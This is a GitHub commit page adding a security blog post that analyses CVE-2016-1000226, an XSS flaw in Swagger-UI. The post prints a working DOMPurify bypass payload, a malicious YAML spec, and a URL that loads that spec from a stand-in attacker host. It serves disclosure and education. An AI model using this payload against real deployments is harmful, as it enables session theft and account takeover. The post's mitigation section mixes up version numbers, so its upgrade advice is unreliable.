Skip to content

Commit

Permalink
feat(blog): add English version of CVE-2016-1000226 post
Browse files Browse the repository at this point in the history
  • Loading branch information
scriptprivate authored Nov 7, 2024
1 parent f2b8bd4 commit 32eb027
Showing 1 changed file with 166 additions and 0 deletions.
166 changes: 166 additions & 0 deletions _posts/2024-11-07-CVE-2016-1000226-EN.markdown
Original file line number Diff line number Diff line change
@@ -0,0 +1,166 @@
---
layout: post
title: "Analysis of CVE-2016-1000226: XSS in Swagger-UI"
date: 2024-11-07
---

[CVE-2016-1000226](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1000226)\[1\] is a [cross-site scripting (XSS)](https://portswigger.net/web-security/cross-site-scripting)\[2\] vulnerability in [Swagger-UI](https://swagger.io/tools/swagger-ui/)\[3\], disclosed on July 21, 2016, affecting versions prior to **2.2.2**. This vulnerability allows an attacker to inject malicious scripts into API input parameters and within its Swagger JSON document generation.

This publication is also available in: [Portugues](https://blog.lesis.lat/blog/CVE-2016-1000226/)

---

**What is Swagger-UI?**

Swagger-UI is an open-source tool that displays API specifications in a developer-friendly graphical interface. Widely used for managing, documenting, and testing APIs, it allows easy visualization and interaction with RESTful APIs directly in the browser.

This tool operates based on the Swagger document, which describes the API, using a JavaScript library to process and render the content graphically on the screen.

---

**Vulnerability**

Although the Swagger-UI has a significant history of XSS vulnerabilities, all previous vulnerabilities required user interaction for a successful exploitation. The current vulnerability, however, is a DOM XSS that does not require such interaction. Since the vulnerability is controlled by query parameters, an attacker can exploit it without any user involvement.

This flaw arises from Swagger-UI’s use of an outdated version of the [DOMPurify](https://github.com/cure53/DOMPurify)\[4\] library in versions prior to 2.2.2, which prevents proper sanitization of user-provided input parameters.

---

**How does Swagger UI render API specifications?**

The process begins with creating a Swagger document (OpenAPI Specification), that defines the API structure, including endpoints, methods, parameters, and other relevant information about the API. This document is typically written in YAML or JSON format.

Then, when accessing Swagger-UI in the browser and providing the URL or file containing the Swagger document, the interface starts the document loading process. This can be done either through the API URL where the Swagger document is hosted or by directly uploading the file.

Let's focus on the function that enables loading a Swagger document via a URL, which can be done in two ways:

* ?url=https://host/spec.yaml
* ?configUrl=https://host/file.json

Next, Swagger fetches the JSON configuration or YAML API specifications, processes them, and renders the content in the user's browser. Additionally, it interprets any description fields in the API specification as [Markdown](https://pt.wikipedia.org/wiki/Markdown)\[5\].

Example of how [YAML](https://pt.wikipedia.org/wiki/YAML)\[6\] specifications are structured:

```yml
swagger: '2.0'
info:
title: Example yaml.spec
description: This is an example text \*\*HELLO FROM MARKDOWN\*\*
paths:
/accounts:
get:
responses:
'200':
description: No response was specified
tags:
\- accounts
operationId: findAccounts
summary: Finds all accounts
```
Helper function used to render *Markdown* in the Swagger UI:
// src/components/providers/markdown.jsx
```javascript
function Markdown({ source, className \= "", getConfigs }) {
... omitted ...

const md \= new Remarkable({
html: true,
typographer: true,
breaks: true,
linkTarget: "\_blank"
}).use(linkify)

md.core.ruler.disable(\["replacements", "smartquotes"\])

const { useUnsafeMarkdown } \= getConfigs()
const html \= md.render(source)
const sanitized \= sanitizer(html, { useUnsafeMarkdown })

if (\!source || \!html || \!sanitized) {
return null
}

return (
\<div className={cx(className, "markdown")} dangerouslySetInnerHTML={{ \_\_html: sanitized }}\>\</div\>
)
}
```

The sanitizer function uses *DOMPurify* to sanitize the input string, with an additional configuration that explicitly forbids the HTML \<style\> tag. However, this restriction can be bypassed using the \<textarea\> and \<title\> tags, which can "simulate" the behavior of the \<style\> tag. This method works because the \<textarea\> and \<title\> tags allow inserting CSS into an HTML attribute, serving a similar purpose to the \<style\> tag in this bypass. This behavior is then exploited to inject CSS that executes JavaScript.

The *DOMPurify* library used by Swagger-UI doesn't explicitly prevent the use of CSS with HTML attributes, allowing the following bypass:

```html
\<math\>\<mtext\>\<option\>\<FAKEFAKE\>\<option\>\</option\>\<mglyph\>\<svg\>\<mtext\>\<textarea\>\<a title="\</textarea\>\<img src='\#' onerror='alert(1)'\>"\>
```

---

**Exploitation**

The exploitation relies on Swagger’s processing any description field in the API specification as *Markdown*. Therefore, inserting the bypass in the following payload is sufficient:

```yml
swagger: '2.0'
info:
title: Example yaml.spec
description: |
\<math\>\<mtext\>\<option\>\<FAKEFAKE\>\<option\>\</option\>\<mglyph\>\<svg\>\<mtext\>\<textarea\>\<a title="\</textarea\>\<img src='\#' onerror='alert(document.domain)'\>"\>
paths:
/accounts:
get:
responses:
'200':
description: No response was specified
tags:
\- accounts
operationId: findAccounts
summary: Finds all accounts
```
With the malicious payload created, simply load the YAML specification file at the URL of the vulnerable application:
https://site-vulneravel.com/swagger-ui.html?url=https://site-malicioso.com/payload-swagger-ui.yml
Evidence of the payload being triggered:
![](/assets/img/CVE-2016-1000226.png)
---
**Impact**
The successful exploitation of this vulnerability can lead to several negative impacts, including:
* Theft of cookies and user sessions, allowing an attacker to assume the user's identity and access confidential information.
* Exposure of sensitive data, such as passwords, payment details, and other personal information.
* Access to privileged services and functionalities, enabling an attacker to perform malicious actions on behalf of the compromised user.
---
**Mitigation**
The XSS vulnerability affects Swagger-UI versions prior to 2.2.2. If you are using a version prior to 3.38, it is recommended to upgrade to the latest version. If a full package update is not possible, consider updating only *DOMPurify* to a version higher than 2.2.2.
---
**Conclusion**
The root cause of the vulnerability is an outdated version of the *DOMPurify* library, responsible for sanitizing user input. Exploitation occurs when Swagger processes its document, which may contain malicious code, especially API specification descriptions, where Swagger-UI interprets the content as *Markdown*.
Potential impacts of successful exploitation include cookie and session theft, exposure of sensitive information, and unauthorized access to privileged services on behalf of the victim.
The recommended mitigation is to update Swagger-UI to version 2.2.2 or later. If a full package update is not feasible, updating *DOMPurify* to a version above 2.2.2 is advised.
---
**References**
* \[1\] [Mitre \- CVE-2016-1000226](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1000226)
* \[2\] [PortSwigger \- Cross-site scripting](https://portswigger.net/web-security/cross-site-scripting)
* \[3\] [SwaggerUI \- Visualize and interact with the API’s resources](https://swagger.io/tools/swagger-ui/)
* \[4\] [DOMPurify \- DOM-only, super-fast, Uber-tolerant XSS sanitizer](https://github.com/cure53/DOMPurify)
* \[5\] [Wikipedia \- Markdown](https://pt.wikipedia.org/wiki/Markdown)
* \[6\] [Wikipedia \- YAML](https://pt.wikipedia.org/wiki/YAML)

0 comments on commit 32eb027

Please sign in to comment.